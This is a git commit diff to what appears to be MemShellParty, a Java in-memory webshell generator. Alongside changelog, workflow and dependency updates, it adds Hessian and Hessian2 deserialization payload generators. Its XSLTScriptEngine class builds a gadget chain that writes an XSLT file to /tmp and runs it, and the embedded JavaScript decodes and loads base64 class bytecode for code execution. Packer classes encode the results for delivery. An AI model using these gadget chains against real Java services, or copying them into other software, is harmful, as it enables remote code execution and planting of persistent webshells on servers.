fix(ui): shell type not reset when server changed

.github/workflows/release.yaml

@@ -126,12 +126,24 @@ jobs:
     steps:
       - uses: actions/checkout@v4
 
+      - name: Download Boot Jar
+        uses: actions/download-artifact@v4
+        with:
+          name: boot
+          path: boot/build/libs
+
+      - name: Calculate SHA-256
+        id: calculate_sha256
+        run: |
+          sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
+
       - name: Release
         uses: ncipollo/release-action@v1
         with:
           name: ${{ needs.info.outputs.version }}
           tag: ${{ needs.info.outputs.version }}
           body: ${{ needs.info.outputs.changelog }}
+          artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
 
   deploy-northflank:
     name: Deploy to Northflank

.github/workflows/test.yaml

@@ -2,19 +2,14 @@ name: Test
 
 on:
   push:
-    paths-ignore:
-      - 'docs/**'
-      - 'boot/**'
-      - 'web/**'
-      - '**.md'
-  pull_request:
     branches:
-      - main
+      - '**'
     paths-ignore:
       - 'docs/**'
       - 'boot/**'
       - 'web/**'
       - '**.md'
+      - '**/*.png'
 
 concurrency:
   group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}

CHANGELOG.md

@@ -5,6 +5,48 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
+
+### Added
+
+- UI 中打包配置中添加 Loading 状态
+
+### Fixed
+
+- 修复 UI 在修改目标服务时，挂载类型有时未跟着变化导致生成失败
+
+**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
+
+## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
+
+### Added
+
+- 支持 Hessian、Hessian2 反序列化，XSLT 链 (#36) by @ReaJason
+
+### Changed
+
+- 移除无用依赖，JavaSocket，Gson
+- Gradle 升级至 8.12.1
+- 更新 TestContainers 和 Junit 的版本
+
+### Fixed
+
+- 修复 UI 在仅修改打包方式重新生成时，多选 payload 下拉框置空，且 payload 没有变为最新的。
+
+**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
+
+## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
+
+### Changed
+
+- UI 增强手机端响应式，增强 i18n 显示 (#39)
+
+### Fixed
+
+- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
+
+**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
+
 ## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
 
 ### Added
@@ -21,6 +63,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 - 修复随机类名如果为保留字时会无法加载
 
+**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
+
 ## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
 
 ### Added

README.md

@@ -152,6 +152,7 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
 - [x] 原生反序列化（CB4）
 - [x] Agent
 - [x] XXL-JOB Executor
+- [x] Hessian、Hessian2 反序列化（XSLT链）
 - [ ] JNDI
 - [ ] JDBC 连接
 - [ ] 其他常见反序列化

bom/build.gradle

@@ -28,10 +28,10 @@ dependencies {
 
         api 'org.jetbrains:annotations:26.0.1'
 
-        api "org.mockito:mockito-core:5.+"
+        api "org.mockito:mockito-core:5.15.2"
         api 'org.hamcrest:hamcrest:3.0'
-        api 'org.junit:junit-bom:5.10.0'
+        api 'org.junit:junit-bom:5.11.4'
-        api 'org.testcontainers:testcontainers:1.20.4'
+        api 'org.testcontainers:testcontainers:1.20.5'
-        api 'org.testcontainers:junit-jupiter:1.20.4'
+        api 'org.testcontainers:junit-jupiter:1.20.5'
     }
 }

boot/Dockerfile

@@ -10,7 +10,10 @@ WORKDIR /app
 COPY build/libs/boot-${VERSION}.jar app.jar
 
 ENV JAVA_OPTS="" \
-    INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
+    INTER_JAVA_OPTS="\
+                    --add-opens=java.base/java.util=ALL-UNNAMED \
+                    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
+                    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
 
 EXPOSE 8080
 

boot/build.gradle

@@ -21,13 +21,6 @@ def runtimeJvmArgs = [
 
 tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
 
-tasks.withType(JavaCompile).configureEach {
-    options.compilerArgs += [
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-    ]
-}
-
 tasks.withType(Test).configureEach {
     jvmArgs += runtimeJvmArgs
 }
@@ -57,7 +50,6 @@ dependencies {
         exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
     }
     implementation 'org.springframework.boot:spring-boot-starter-undertow'
-    implementation 'com.google.code.gson:gson:2.11.0'
     compileOnly 'org.projectlombok:lombok'
     developmentOnly 'org.springframework.boot:spring-boot-devtools'
     annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'

deserialize/build.gradle

@@ -8,40 +8,19 @@ version = rootProject.version
 dependencies {
     implementation 'net.bytebuddy:byte-buddy'
 
-    implementation 'commons-beanutils:commons-beanutils:1.9.3'
+    implementation 'com.caucho:hessian:4.0.66'
+    implementation 'commons-beanutils:commons-beanutils:1.9.4'
 
     testImplementation platform('org.junit:junit-bom')
     testImplementation 'org.junit.jupiter:junit-jupiter'
 }
 
-
-def runtimeJvmArgs = [
-        '--add-opens=java.base/java.lang=ALL-UNNAMED',
-        '--add-opens=java.base/java.util=ALL-UNNAMED',
-        '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-        '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-]
-
-tasks.withType(JavaCompile).configureEach {
-    options.compilerArgs += [
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-    ]
-}
-
-tasks.withType(Test).configureEach {
-    jvmArgs += runtimeJvmArgs
-}
-
-// For running the application
-tasks.withType(JavaExec).configureEach {
-    jvmArgs += runtimeJvmArgs
-}
-
 java {
     toolchain {
-        languageVersion = JavaLanguageVersion.of(11)
+        languageVersion = JavaLanguageVersion.of(8)
     }
+    sourceCompatibility = JavaVersion.VERSION_1_8
+    targetCompatibility = JavaVersion.VERSION_1_8
 }
 
 test {

deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.deserialize;
+
+import com.caucho.hessian.io.Hessian2Output;
+import lombok.SneakyThrows;
+
+import java.io.ByteArrayOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class Hessian2DeserializeGenerator {
+    @SneakyThrows
+    public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
+        PayloadType payloadType = config.getPayloadType();
+        Object obj = payloadType.getPayload().generate(bytes, className);
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        Hessian2Output hessian2Output = new Hessian2Output(bos);
+        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
+        hessian2Output.writeObject(obj);
+        hessian2Output.close();
+        return bos.toByteArray();
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.deserialize;
+
+import com.caucho.hessian.io.HessianOutput;
+import lombok.SneakyThrows;
+
+import java.io.ByteArrayOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class HessianDeserializeGenerator {
+    @SneakyThrows
+    public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
+        PayloadType payloadType = config.getPayloadType();
+        Object obj = payloadType.getPayload().generate(bytes, className);
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        HessianOutput hessianOutput = new HessianOutput(bos);
+        hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
+        hessianOutput.writeObject(obj);
+        hessianOutput.close();
+        return bos.toByteArray();
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/JavaDeserializeGenerator.java

@@ -9,7 +9,7 @@ import java.io.ObjectOutputStream;
  * @author ReaJason
  * @since 2024/12/13
  */
-public class DeserializeGenerator {
+public class JavaDeserializeGenerator {
 
     @SneakyThrows
     public static byte[] generate(byte[] bytes, DeserializeConfig config) {

deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java

@@ -11,5 +11,18 @@ public interface Payload {
      * @param bytes 恶意类字节流
      * @return 序列化对象
      */
-    Object generate(byte[] bytes);
+    default Object generate(byte[] bytes) {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * 将恶意类字节流封装成序列化对象
+     *
+     * @param bytes     恶意类字节流
+     * @param className 恶意类名
+     * @return 序列化对象
+     */
+    default Object generate(byte[] bytes, String className) {
+        throw new UnsupportedOperationException();
+    }
 }

deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java

@@ -1,6 +1,10 @@
 package com.reajason.javaweb.deserialize;
 
-import com.reajason.javaweb.deserialize.payload.*;
+import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
 import lombok.Getter;
 
 /**
@@ -17,6 +21,10 @@ public enum PayloadType {
     CommonsBeanutils19(new CommonsBeanutils19()),
     CommonsBeanutils110(new CommonsBeanutils110()),
 
+    /**
+     * Hessian XSLT write
+     */
+    XSLTScriptEngine(new XSLTScriptEngine())
     ;
 
     private final Payload payload;

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java

@@ -0,0 +1,51 @@
+package com.reajason.javaweb.deserialize.payload.hessian;
+
+import com.reajason.javaweb.deserialize.Payload;
+import com.reajason.javaweb.deserialize.utils.HessianUtils;
+import com.reajason.javaweb.deserialize.utils.Reflections;
+import lombok.SneakyThrows;
+
+import javax.swing.*;
+import java.util.Arrays;
+import java.util.Base64;
+import java.util.HashMap;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class XSLTScriptEngine implements Payload {
+    @Override
+    @SneakyThrows
+    public Object generate(byte[] bytes, String className) {
+        String base64Str = Base64.getEncoder().encodeToString(bytes);
+
+        String tmpPath = "/tmp/CACHE_XML";
+
+        String xml = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
+                "                xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
+                "                xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
+                "    <xsl:template match=\"/\">\n" +
+                "        <xsl:variable name=\"js\" select=\"&quot;var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()&quot;\" />\n" +
+                "        <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
+                "        <xsl:value-of select=\"$result\"/>\n" +
+                "    </xsl:template>\n" +
+                "</xsl:stylesheet>\n";
+
+        UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
+        Reflections.setFieldValue(writeValue, "acc", null);
+        UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
+        Reflections.setFieldValue(processValue, "acc", null);
+
+        HashMap<Object, Object> map1 = new HashMap<>(1);
+        HashMap<Object, Object> map2 = new HashMap<>(1);
+        HashMap<Object, Object> map3 = new HashMap<>(1);
+        HashMap<Object, Object> map4 = new HashMap<>(1);
+        map1.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
+        map2.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
+        map3.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
+        map4.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
+
+        return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4));
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils110.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.deserialize.payload;
+package com.reajason.javaweb.deserialize.payload.java;
 
 import com.reajason.javaweb.deserialize.Payload;
 import com.reajason.javaweb.deserialize.TemplateUtils;
@@ -16,8 +16,6 @@ import java.net.URLClassLoader;
 import java.util.Comparator;
 import java.util.PriorityQueue;
 
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
 /**
  * @author ReaJason
  * @since 2024/12/3
@@ -28,7 +26,7 @@ public class CommonsBeanutils110 implements Payload {
     public Object generate(byte[] bytes) {
         Object comparator = new ByteBuddy()
                 .redefine(BeanComparator.class)
-                .field(named("serialVersionUID"))
+                .defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
                 .value(1L).make()
                 .load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
                 .getDeclaredConstructor(String.class, Comparator.class)

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils16.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.deserialize.payload;
+package com.reajason.javaweb.deserialize.payload.java;
 
 import com.reajason.javaweb.deserialize.Payload;
 import com.reajason.javaweb.deserialize.TemplateUtils;

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils18.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.deserialize.payload;
+package com.reajason.javaweb.deserialize.payload.java;
 
 import com.reajason.javaweb.deserialize.Payload;
 import com.reajason.javaweb.deserialize.TemplateUtils;

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonsBeanutils19.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.deserialize.payload;
+package com.reajason.javaweb.deserialize.payload.java;
 
 import com.reajason.javaweb.deserialize.Payload;
 import com.reajason.javaweb.deserialize.TemplateUtils;

deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/HessianUtils.java

@@ -0,0 +1,32 @@
+package com.reajason.javaweb.deserialize.utils;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.Constructor;
+import java.util.HashMap;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public class HessianUtils {
+
+    public static HashMap<?, ?> toMap(List<?> objs) throws Exception {
+        HashMap<?, ?> s = new HashMap<>(8);
+        Reflections.setFieldValue(s, "size", objs.size());
+        Class<?> nodeC;
+        try {
+            nodeC = Class.forName("java.util.HashMap$Node");
+        } catch (ClassNotFoundException var6) {
+            nodeC = Class.forName("java.util.HashMap$Entry");
+        }
+        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
+        nodeCons.setAccessible(true);
+        Object tbl = Array.newInstance(nodeC, objs.size());
+        for (int i = 0; i < objs.size(); i++) {
+            Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null));
+        }
+        Reflections.setFieldValue(s, "table", tbl);
+        return s;
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java

@@ -1,7 +1,11 @@
 package com.reajason.javaweb.deserialize.utils;
 
-import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
+import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
+import sun.reflect.ReflectionFactory;
+import sun.security.pkcs.PKCS9Attributes;
 
+import java.lang.reflect.AccessibleObject;
+import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 
 /**
@@ -19,7 +23,7 @@ public class Reflections {
             java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
             Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
             java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
-            getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
+            getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
         } catch (Exception ignored) {
         }
     }
@@ -47,4 +51,18 @@ public class Reflections {
         final Field field = getField(obj.getClass(), fieldName);
         return field.get(obj);
     }
+
+    public static Object createWithoutConstructor(String classname) throws Exception {
+        return createWithoutConstructor(Class.forName(classname));
+    }
+    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
+        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
+    }
+    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
+        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
+        objCons.setAccessible(true);
+        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
+        sc.setAccessible(true);
+        return (T) sc.newInstance(consArgs);
+    }
 }

generator/build.gradle

@@ -22,13 +22,6 @@ def runtimeJvmArgs = [
         '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
 ]
 
-tasks.withType(JavaCompile).configureEach {
-    options.compilerArgs += [
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-    ]
-}
-
 tasks.withType(Test).configureEach {
     jvmArgs += runtimeJvmArgs
 }
@@ -58,7 +51,7 @@ dependencies {
     implementation 'com.squareup.okhttp3:okhttp'
     implementation 'ch.qos.logback:logback-classic'
     implementation 'com.alibaba.fastjson2:fastjson2'
-    implementation 'org.java-websocket:Java-WebSocket'
+//    implementation 'org.java-websocket:Java-WebSocket'
 
     implementation 'org.springframework:spring-webmvc'
     implementation 'org.springframework:spring-webflux'

generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java

@@ -5,6 +5,10 @@ import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
 import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
 import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
 import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
+import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
+import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
+import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
+import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
 import com.reajason.javaweb.memshell.packer.deserialize.java.*;
 import com.reajason.javaweb.memshell.packer.el.ELPacker;
 import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
@@ -96,6 +100,15 @@ public enum Packers {
     JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
     JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
 
+    /**
+     * Hessian 反序列化打包器
+     */
+    Hessian2Deserialize(new Hessian2Packer()),
+    Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
+
+    HessianDeserialize(new HessianPacker()),
+    HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
+
     AgentJar(new AgentJarPacker()),
 
     XxlJob(new XxlJobPacker()),

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java

@@ -0,0 +1,17 @@
+package com.reajason.javaweb.memshell.packer.deserialize.hessian;
+
+import com.reajason.javaweb.deserialize.DeserializeConfig;
+import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
+import com.reajason.javaweb.deserialize.PayloadType;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.AggregatePacker;
+import com.reajason.javaweb.memshell.packer.Packer;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+public class Hessian2Packer implements AggregatePacker {
+
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.memshell.packer.deserialize.hessian;
+
+import com.reajason.javaweb.deserialize.DeserializeConfig;
+import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
+import com.reajason.javaweb.deserialize.PayloadType;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+public class Hessian2XSLTScriptEnginePacker implements Packer {
+    @Override
+    public String pack(GenerateResult generateResult) {
+        byte[] injectorBytes = generateResult.getInjectorBytes();
+        String injectorClassName = generateResult.getInjectorClassName();
+        DeserializeConfig deserializeConfig = new DeserializeConfig();
+        deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
+        byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
+        return Base64.encodeBase64String(generate);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianPacker.java

@@ -0,0 +1,11 @@
+package com.reajason.javaweb.memshell.packer.deserialize.hessian;
+
+import com.reajason.javaweb.memshell.packer.AggregatePacker;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+public class HessianPacker implements AggregatePacker {
+
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.memshell.packer.deserialize.hessian;
+
+import com.reajason.javaweb.deserialize.DeserializeConfig;
+import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
+import com.reajason.javaweb.deserialize.PayloadType;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+public class HessianXSLTScriptEnginePacker implements Packer {
+    @Override
+    public String pack(GenerateResult generateResult) {
+        byte[] injectorBytes = generateResult.getInjectorBytes();
+        String injectorClassName = generateResult.getInjectorClassName();
+        DeserializeConfig deserializeConfig = new DeserializeConfig();
+        deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
+        byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
+        return Base64.encodeBase64String(generate);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.packer.deserialize.java;
 
 import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils110Packer implements Packer {
     public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
-        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
+        return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.packer.deserialize.java;
 
 import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils16Packer implements Packer {
     public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
-        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
+        return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.packer.deserialize.java;
 
 import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils18Packer implements Packer {
     public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
-        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
+        return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.packer.deserialize.java;
 
 import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils19Packer implements Packer {
     public String pack(GenerateResult generateResult) {
         DeserializeConfig deserializeConfig = new DeserializeConfig();
         deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
-        return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
+        return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
     }
 }

gradle/wrapper/gradle-wrapper.properties

@@ -1,7 +1,6 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-# upgrade command: ./gradlew wrapper --gradle-version latest
+distributionUrl=https\://services.gradle.org/distributions/gradle-8.12.1-bin.zip
-distributionUrl=https\://services.gradle.org/distributions/gradle-8.12-all.zip
 networkTimeout=10000
 validateDistributionUrl=true
 zipStoreBase=GRADLE_USER_HOME

integration-test/build.gradle

@@ -59,6 +59,7 @@ idea {
